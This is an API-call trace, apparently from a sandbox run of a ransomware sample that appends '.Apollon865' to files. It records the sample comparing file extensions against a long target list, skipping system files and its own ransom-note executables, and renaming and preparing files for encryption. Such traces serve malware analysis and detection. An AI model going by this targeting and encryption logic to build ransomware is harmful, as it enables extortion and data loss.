	[0078.690] lstrcmpiW (lpString1="hxn", lpString2="nnt") returned -1
	[0078.690] lstrlenW (lpString="nrmlib") returned 6
	[0078.691] lstrcmpiW (lpString1="33.hxn", lpString2="nrmlib") returned -1
	[0078.691] lstrlenW (lpString="ns2") returned 3
	[0078.691] lstrcmpiW (lpString1="hxn", lpString2="ns2") returned -1
	[0078.691] lstrlenW (lpString="ns3") returned 3
	[0078.691] lstrcmpiW (lpString1="hxn", lpString2="ns3") returned -1
	[0078.691] lstrlenW (lpString="ns4") returned 3
	[0078.691] lstrcmpiW (lpString1="hxn", lpString2="ns4") returned -1
	[0078.691] lstrlenW (lpString="nsf") returned 3
	[0078.691] lstrcmpiW (lpString1="hxn", lpString2="nsf") returned -1
	[0078.691] lstrlenW (lpString="nv") returned 2
	[0078.691] lstrcmpiW (lpString1="xn", lpString2="nv") returned 1
	[0078.691] lstrlenW (lpString="nv2") returned 3
	[0078.691] lstrcmpiW (lpString1="hxn", lpString2="nv2") returned -1
	[0078.691] lstrlenW (lpString="nwdb") returned 4
	[0078.691] lstrcmpiW (lpString1=".hxn", lpString2="nwdb") returned -1
	[0078.691] lstrlenW (lpString="nyf") returned 3
	[0078.691] lstrcmpiW (lpString1="hxn", lpString2="nyf") returned -1
	[0078.691] lstrlenW (lpString="odb") returned 3
	[0078.691] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.691] lstrlenW (lpString="odb") returned 3
	[0078.691] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.691] lstrlenW (lpString="oqy") returned 3
	[0078.691] lstrcmpiW (lpString1="hxn", lpString2="oqy") returned -1
	[0078.691] lstrlenW (lpString="ora") returned 3
	[0078.691] lstrcmpiW (lpString1="hxn", lpString2="ora") returned -1
	[0078.691] lstrlenW (lpString="orx") returned 3
	[0078.691] lstrcmpiW (lpString1="hxn", lpString2="orx") returned -1
	[0078.691] lstrlenW (lpString="owc") returned 3
	[0078.691] lstrcmpiW (lpString1="hxn", lpString2="owc") returned -1
	[0078.691] lstrlenW (lpString="p96") returned 3
	[0078.691] lstrcmpiW (lpString1="hxn", lpString2="p96") returned -1
	[0078.691] lstrlenW (lpString="p97") returned 3
	[0078.691] lstrcmpiW (lpString1="hxn", lpString2="p97") returned -1
	[0078.691] lstrlenW (lpString="pan") returned 3
	[0078.691] lstrcmpiW (lpString1="hxn", lpString2="pan") returned -1
	[0078.691] lstrlenW (lpString="pdb") returned 3
	[0078.691] lstrcmpiW (lpString1="hxn", lpString2="pdb") returned -1
	[0078.691] lstrlenW (lpString="pdm") returned 3
	[0078.692] lstrcmpiW (lpString1="hxn", lpString2="pdm") returned -1
	[0078.692] lstrlenW (lpString="pnz") returned 3
	[0078.692] lstrcmpiW (lpString1="hxn", lpString2="pnz") returned -1
	[0078.692] lstrlenW (lpString="qry") returned 3
	[0078.692] lstrcmpiW (lpString1="hxn", lpString2="qry") returned -1
	[0078.692] lstrlenW (lpString="qvd") returned 3
	[0078.692] lstrcmpiW (lpString1="hxn", lpString2="qvd") returned -1
	[0078.692] lstrlenW (lpString="rbf") returned 3
	[0078.692] lstrcmpiW (lpString1="hxn", lpString2="rbf") returned -1
	[0078.692] lstrlenW (lpString="rctd") returned 4
	[0078.692] lstrcmpiW (lpString1=".hxn", lpString2="rctd") returned -1
	[0078.692] lstrlenW (lpString="rod") returned 3
	[0078.692] lstrcmpiW (lpString1="hxn", lpString2="rod") returned -1
	[0078.692] lstrlenW (lpString="rodx") returned 4
	[0078.692] lstrcmpiW (lpString1=".hxn", lpString2="rodx") returned -1
	[0078.692] lstrlenW (lpString="rpd") returned 3
	[0078.692] lstrcmpiW (lpString1="hxn", lpString2="rpd") returned -1
	[0078.692] lstrlenW (lpString="rsd") returned 3
	[0078.692] lstrcmpiW (lpString1="hxn", lpString2="rsd") returned -1
	[0078.692] lstrlenW (lpString="sas7bdat") returned 8
	[0078.692] lstrcmpiW (lpString1="1033.hxn", lpString2="sas7bdat") returned -1
	[0078.692] lstrlenW (lpString="sbf") returned 3
	[0078.692] lstrcmpiW (lpString1="hxn", lpString2="sbf") returned -1
	[0078.692] lstrlenW (lpString="scx") returned 3
	[0078.692] lstrcmpiW (lpString1="hxn", lpString2="scx") returned -1
	[0078.692] lstrlenW (lpString="sdb") returned 3
	[0078.692] lstrcmpiW (lpString1="hxn", lpString2="sdb") returned -1
	[0078.692] lstrlenW (lpString="sdc") returned 3
	[0078.692] lstrcmpiW (lpString1="hxn", lpString2="sdc") returned -1
	[0078.692] lstrlenW (lpString="sdf") returned 3
	[0078.692] lstrcmpiW (lpString1="hxn", lpString2="sdf") returned -1
	[0078.692] lstrlenW (lpString="sis") returned 3
	[0078.692] lstrcmpiW (lpString1="hxn", lpString2="sis") returned -1
	[0078.692] lstrlenW (lpString="spq") returned 3
	[0078.692] lstrcmpiW (lpString1="hxn", lpString2="spq") returned -1
	[0078.692] lstrlenW (lpString="te") returned 2
	[0078.692] lstrcmpiW (lpString1="xn", lpString2="te") returned 1
	[0078.692] lstrlenW (lpString="teacher") returned 7
	[0078.693] lstrcmpiW (lpString1="033.hxn", lpString2="teacher") returned -1
	[0078.693] lstrlenW (lpString="tmd") returned 3
	[0078.693] lstrcmpiW (lpString1="hxn", lpString2="tmd") returned -1
	[0078.693] lstrlenW (lpString="tps") returned 3
	[0078.693] lstrcmpiW (lpString1="hxn", lpString2="tps") returned -1
	[0078.693] lstrlenW (lpString="trc") returned 3
	[0078.693] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.693] lstrlenW (lpString="trc") returned 3
	[0078.693] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.693] lstrlenW (lpString="trm") returned 3
	[0078.693] lstrcmpiW (lpString1="hxn", lpString2="trm") returned -1
	[0078.693] lstrlenW (lpString="udb") returned 3
	[0078.693] lstrcmpiW (lpString1="hxn", lpString2="udb") returned -1
	[0078.693] lstrlenW (lpString="udl") returned 3
	[0078.693] lstrcmpiW (lpString1="hxn", lpString2="udl") returned -1
	[0078.693] lstrlenW (lpString="usr") returned 3
	[0078.693] lstrcmpiW (lpString1="hxn", lpString2="usr") returned -1
	[0078.693] lstrlenW (lpString="v12") returned 3
	[0078.693] lstrcmpiW (lpString1="hxn", lpString2="v12") returned -1
	[0078.693] lstrlenW (lpString="vis") returned 3
	[0078.693] lstrcmpiW (lpString1="hxn", lpString2="vis") returned -1
	[0078.693] lstrlenW (lpString="vpd") returned 3
	[0078.693] lstrcmpiW (lpString1="hxn", lpString2="vpd") returned -1
	[0078.693] lstrlenW (lpString="vvv") returned 3
	[0078.693] lstrcmpiW (lpString1="hxn", lpString2="vvv") returned -1
	[0078.693] lstrlenW (lpString="wdb") returned 3
	[0078.693] lstrcmpiW (lpString1="hxn", lpString2="wdb") returned -1
	[0078.693] lstrlenW (lpString="wmdb") returned 4
	[0078.693] lstrcmpiW (lpString1=".hxn", lpString2="wmdb") returned -1
	[0078.693] lstrlenW (lpString="wrk") returned 3
	[0078.693] lstrcmpiW (lpString1="hxn", lpString2="wrk") returned -1
	[0078.693] lstrlenW (lpString="xdb") returned 3
	[0078.693] lstrcmpiW (lpString1="hxn", lpString2="xdb") returned -1
	[0078.693] lstrlenW (lpString="xld") returned 3
	[0078.693] lstrcmpiW (lpString1="hxn", lpString2="xld") returned -1
	[0078.693] lstrlenW (lpString="xmlff") returned 5
	[0078.693] lstrcmpiW (lpString1="3.hxn", lpString2="xmlff") returned -1
	[0078.693] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn.Apollon865") returned 72
	[0078.694] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.powerpnt.dev.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.powerpnt.dev.14.1033.hxn.apollon865"), dwFlags=0x1) returned 1
	[0078.694] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.powerpnt.dev.14.1033.hxn.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0078.695] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=368) returned 1
	[0078.695] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0078.695] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.695] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0078.695] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bfa30) returned 1
	[0078.696] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0078.696] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.696] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x470, lpName=0x0) returned 0xd8
	[0078.698] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x470) returned 0x100000
	[0078.699] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bfa30) returned 1
	[0078.699] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0078.699] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.699] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0078.699] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0078.699] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.699] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.699] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.700] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.700] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0078.700] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.700] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0078.700] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.700] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.700] CloseHandle (hObject=0xd8) returned 1
	[0078.700] CloseHandle (hObject=0x15c) returned 1
	[0078.700] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.700] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0078.700] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0078.700] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.SETLANG.14.1033.hxn", cAlternateFileName="MSSETL~1.HXN")) returned 1
	[0078.700] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.700] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2="Apollon865.txt.exe") returned 1
	[0078.700] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2=".") returned 1
	[0078.700] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2="..") returned 1
	[0078.700] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2="windows") returned -1
	[0078.700] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2="bootmgr") returned 1
	[0078.701] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2="temp") returned -1
	[0078.701] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2="pagefile.sys") returned -1
	[0078.701] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2="boot") returned 1
	[0078.701] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2="ids.txt") returned 1
	[0078.701] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2="ntuser.dat") returned -1
	[0078.701] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2="perflogs") returned -1
	[0078.701] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2="MSBuild") returned -1
	[0078.701] lstrlenW (lpString="MS.SETLANG.14.1033.hxn") returned 22
	[0078.701] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn") returned 61
	[0078.701] lstrcpyW (in: lpString1=0x119e64c, lpString2="MS.SETLANG.14.1033.hxn" | out: lpString1="MS.SETLANG.14.1033.hxn") returned="MS.SETLANG.14.1033.hxn"
	[0078.701] lstrlenW (lpString="MS.SETLANG.14.1033.hxn") returned 22
	[0078.701] lstrlenW (lpString="Apollon865") returned 10
	[0078.701] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0078.701] lstrlenW (lpString=".dll") returned 4
	[0078.701] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2=".dll") returned 1
	[0078.701] lstrlenW (lpString=".lnk") returned 4
	[0078.701] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2=".lnk") returned 1
	[0078.701] lstrlenW (lpString=".ini") returned 4
	[0078.701] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2=".ini") returned 1
	[0078.701] lstrlenW (lpString=".sys") returned 4
	[0078.701] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2=".sys") returned 1
	[0078.701] lstrlenW (lpString="MS.SETLANG.14.1033.hxn") returned 22
	[0078.701] lstrlenW (lpString="bak") returned 3
	[0078.701] lstrcmpiW (lpString1="hxn", lpString2="bak") returned 1
	[0078.701] lstrlenW (lpString="ba_") returned 3
	[0078.701] lstrcmpiW (lpString1="hxn", lpString2="ba_") returned 1
	[0078.701] lstrlenW (lpString="dbb") returned 3
	[0078.701] lstrcmpiW (lpString1="hxn", lpString2="dbb") returned 1
	[0078.701] lstrlenW (lpString="vmdk") returned 4
	[0078.701] lstrcmpiW (lpString1=".hxn", lpString2="vmdk") returned -1
	[0078.701] lstrlenW (lpString="rar") returned 3
	[0078.701] lstrcmpiW (lpString1="hxn", lpString2="rar") returned -1
	[0078.701] lstrlenW (lpString="zip") returned 3
	[0078.701] lstrcmpiW (lpString1="hxn", lpString2="zip") returned -1
	[0078.701] lstrlenW (lpString="tgz") returned 3
	[0078.701] lstrcmpiW (lpString1="hxn", lpString2="tgz") returned -1
	[0078.701] lstrlenW (lpString="vbox") returned 4
	[0078.702] lstrcmpiW (lpString1=".hxn", lpString2="vbox") returned -1
	[0078.702] lstrlenW (lpString="vdi") returned 3
	[0078.702] lstrcmpiW (lpString1="hxn", lpString2="vdi") returned -1
	[0078.702] lstrlenW (lpString="vhd") returned 3
	[0078.702] lstrcmpiW (lpString1="hxn", lpString2="vhd") returned -1
	[0078.702] lstrlenW (lpString="vhdx") returned 4
	[0078.702] lstrcmpiW (lpString1=".hxn", lpString2="vhdx") returned -1
	[0078.702] lstrlenW (lpString="avhd") returned 4
	[0078.702] lstrcmpiW (lpString1=".hxn", lpString2="avhd") returned -1
	[0078.702] lstrlenW (lpString="db") returned 2
	[0078.702] lstrcmpiW (lpString1="xn", lpString2="db") returned 1
	[0078.702] lstrlenW (lpString="db2") returned 3
	[0078.702] lstrcmpiW (lpString1="hxn", lpString2="db2") returned 1
	[0078.702] lstrlenW (lpString="db3") returned 3
	[0078.702] lstrcmpiW (lpString1="hxn", lpString2="db3") returned 1
	[0078.702] lstrlenW (lpString="dbf") returned 3
	[0078.702] lstrcmpiW (lpString1="hxn", lpString2="dbf") returned 1
	[0078.702] lstrlenW (lpString="mdf") returned 3
	[0078.702] lstrcmpiW (lpString1="hxn", lpString2="mdf") returned -1
	[0078.702] lstrlenW (lpString="mdb") returned 3
	[0078.702] lstrcmpiW (lpString1="hxn", lpString2="mdb") returned -1
	[0078.702] lstrlenW (lpString="sql") returned 3
	[0078.702] lstrcmpiW (lpString1="hxn", lpString2="sql") returned -1
	[0078.702] lstrlenW (lpString="sqlite") returned 6
	[0078.702] lstrcmpiW (lpString1="33.hxn", lpString2="sqlite") returned -1
	[0078.702] lstrlenW (lpString="sqlite3") returned 7
	[0078.702] lstrcmpiW (lpString1="033.hxn", lpString2="sqlite3") returned -1
	[0078.702] lstrlenW (lpString="sqlitedb") returned 8
	[0078.702] lstrcmpiW (lpString1="1033.hxn", lpString2="sqlitedb") returned -1
	[0078.702] lstrlenW (lpString="xml") returned 3
	[0078.702] lstrcmpiW (lpString1="hxn", lpString2="xml") returned -1
	[0078.702] lstrlenW (lpString="$er") returned 3
	[0078.702] lstrcmpiW (lpString1="hxn", lpString2="$er") returned 1
	[0078.702] lstrlenW (lpString="4dd") returned 3
	[0078.702] lstrcmpiW (lpString1="hxn", lpString2="4dd") returned 1
	[0078.702] lstrlenW (lpString="4dl") returned 3
	[0078.702] lstrcmpiW (lpString1="hxn", lpString2="4dl") returned 1
	[0078.703] lstrlenW (lpString="^^^") returned 3
	[0078.703] lstrcmpiW (lpString1="hxn", lpString2="^^^") returned 1
	[0078.703] lstrlenW (lpString="abs") returned 3
	[0078.703] lstrcmpiW (lpString1="hxn", lpString2="abs") returned 1
	[0078.703] lstrlenW (lpString="abx") returned 3
	[0078.703] lstrcmpiW (lpString1="hxn", lpString2="abx") returned 1
	[0078.703] lstrlenW (lpString="accdb") returned 5
	[0078.703] lstrcmpiW (lpString1="3.hxn", lpString2="accdb") returned -1
	[0078.703] lstrlenW (lpString="accdc") returned 5
	[0078.703] lstrcmpiW (lpString1="3.hxn", lpString2="accdc") returned -1
	[0078.703] lstrlenW (lpString="accde") returned 5
	[0078.703] lstrcmpiW (lpString1="3.hxn", lpString2="accde") returned -1
	[0078.703] lstrlenW (lpString="accdr") returned 5
	[0078.703] lstrcmpiW (lpString1="3.hxn", lpString2="accdr") returned -1
	[0078.703] lstrlenW (lpString="accdt") returned 5
	[0078.703] lstrcmpiW (lpString1="3.hxn", lpString2="accdt") returned -1
	[0078.703] lstrlenW (lpString="accdw") returned 5
	[0078.703] lstrcmpiW (lpString1="3.hxn", lpString2="accdw") returned -1
	[0078.703] lstrlenW (lpString="accft") returned 5
	[0078.703] lstrcmpiW (lpString1="3.hxn", lpString2="accft") returned -1
	[0078.703] lstrlenW (lpString="adb") returned 3
	[0078.703] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.703] lstrlenW (lpString="adb") returned 3
	[0078.703] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.703] lstrlenW (lpString="ade") returned 3
	[0078.703] lstrcmpiW (lpString1="hxn", lpString2="ade") returned 1
	[0078.703] lstrlenW (lpString="adf") returned 3
	[0078.703] lstrcmpiW (lpString1="hxn", lpString2="adf") returned 1
	[0078.703] lstrlenW (lpString="adn") returned 3
	[0078.703] lstrcmpiW (lpString1="hxn", lpString2="adn") returned 1
	[0078.703] lstrlenW (lpString="adp") returned 3
	[0078.703] lstrcmpiW (lpString1="hxn", lpString2="adp") returned 1
	[0078.703] lstrlenW (lpString="alf") returned 3
	[0078.703] lstrcmpiW (lpString1="hxn", lpString2="alf") returned 1
	[0078.703] lstrlenW (lpString="ask") returned 3
	[0078.703] lstrcmpiW (lpString1="hxn", lpString2="ask") returned 1
	[0078.703] lstrlenW (lpString="btr") returned 3
	[0078.703] lstrcmpiW (lpString1="hxn", lpString2="btr") returned 1
	[0078.704] lstrlenW (lpString="cat") returned 3
	[0078.704] lstrcmpiW (lpString1="hxn", lpString2="cat") returned 1
	[0078.704] lstrlenW (lpString="cdb") returned 3
	[0078.704] lstrcmpiW (lpString1="hxn", lpString2="cdb") returned 1
	[0078.704] lstrlenW (lpString="ckp") returned 3
	[0078.704] lstrcmpiW (lpString1="hxn", lpString2="ckp") returned 1
	[0078.704] lstrlenW (lpString="cma") returned 3
	[0078.704] lstrcmpiW (lpString1="hxn", lpString2="cma") returned 1
	[0078.704] lstrlenW (lpString="cpd") returned 3
	[0078.704] lstrcmpiW (lpString1="hxn", lpString2="cpd") returned 1
	[0078.704] lstrlenW (lpString="dacpac") returned 6
	[0078.704] lstrcmpiW (lpString1="33.hxn", lpString2="dacpac") returned -1
	[0078.704] lstrlenW (lpString="dad") returned 3
	[0078.704] lstrcmpiW (lpString1="hxn", lpString2="dad") returned 1
	[0078.704] lstrlenW (lpString="dadiagrams") returned 10
	[0078.704] lstrcmpiW (lpString1="4.1033.hxn", lpString2="dadiagrams") returned -1
	[0078.704] lstrlenW (lpString="daschema") returned 8
	[0078.704] lstrcmpiW (lpString1="1033.hxn", lpString2="daschema") returned -1
	[0078.704] lstrlenW (lpString="db-journal") returned 10
	[0078.704] lstrcmpiW (lpString1="4.1033.hxn", lpString2="db-journal") returned -1
	[0078.704] lstrlenW (lpString="db-shm") returned 6
	[0078.704] lstrcmpiW (lpString1="33.hxn", lpString2="db-shm") returned -1
	[0078.704] lstrlenW (lpString="db-wal") returned 6
	[0078.704] lstrcmpiW (lpString1="33.hxn", lpString2="db-wal") returned -1
	[0078.704] lstrlenW (lpString="dbc") returned 3
	[0078.704] lstrcmpiW (lpString1="hxn", lpString2="dbc") returned 1
	[0078.704] lstrlenW (lpString="dbs") returned 3
	[0078.704] lstrcmpiW (lpString1="hxn", lpString2="dbs") returned 1
	[0078.704] lstrlenW (lpString="dbt") returned 3
	[0078.704] lstrcmpiW (lpString1="hxn", lpString2="dbt") returned 1
	[0078.704] lstrlenW (lpString="dbv") returned 3
	[0078.704] lstrcmpiW (lpString1="hxn", lpString2="dbv") returned 1
	[0078.704] lstrlenW (lpString="dbx") returned 3
	[0078.704] lstrcmpiW (lpString1="hxn", lpString2="dbx") returned 1
	[0078.704] lstrlenW (lpString="dcb") returned 3
	[0078.704] lstrcmpiW (lpString1="hxn", lpString2="dcb") returned 1
	[0078.705] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft Help\\MS.SETLANG.14.1033.hxn.Apollon865") returned 67
	[0078.705] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.SETLANG.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.setlang.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.SETLANG.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.setlang.14.1033.hxn.apollon865"), dwFlags=0x1) returned 1
	[0078.706] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.SETLANG.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.setlang.14.1033.hxn.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0078.706] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=338) returned 1
	[0078.706] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0078.706] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.706] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0078.706] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bfa30) returned 1
	[0078.707] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0078.707] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.707] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x460, lpName=0x0) returned 0xd8
	[0078.709] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x460) returned 0x100000
	[0078.710] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bfa30) returned 1
	[0078.711] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0078.711] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.711] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0078.711] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0078.711] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.711] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.711] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.711] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.711] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0078.711] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.711] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0078.711] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.711] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.711] CloseHandle (hObject=0xd8) returned 1
	[0078.712] CloseHandle (hObject=0x15c) returned 1
	[0078.712] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.712] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0078.712] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0078.712] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5269fec0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.VISIO.14.1033.hxn", cAlternateFileName="MSVISI~1.HXN")) returned 1
	[0078.712] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.712] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2="Apollon865.txt.exe") returned 1
	[0078.712] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2=".") returned 1
	[0078.712] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2="..") returned 1
	[0078.712] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2="windows") returned -1
	[0078.712] lstrcmpiW (lpString1="MS.VISIO.14.1033.hxn", lpString2="bootmgr") returned 1
